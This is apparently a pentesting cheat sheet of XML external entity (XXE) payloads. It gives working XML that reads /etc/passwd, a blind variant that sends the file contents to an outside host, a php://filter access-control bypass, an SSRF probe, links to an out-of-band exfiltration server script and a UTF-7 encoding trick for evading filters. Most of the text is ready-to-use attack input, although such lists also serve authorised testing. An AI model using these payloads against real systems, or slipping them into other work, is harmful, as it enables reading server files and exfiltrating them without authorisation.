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XXE

LFI Test

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>

Blind LFI test (when first case doesn't return anything)

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>

Access Control bypass (loading restricted resources - PHP example)

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
<foo><result>&ac;</result></foo>

SSRF Test

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>

XEE (XML Entity Expansion - DOS)

XEE #2 (Remote attack - through external xml inclusion)

XXE FTP HTTP Server

https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb

http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html

XXE UTF-7

To convert between UTF-8 & UTF-7 use recode. recode UTF8..UTF7 payload-file.xml

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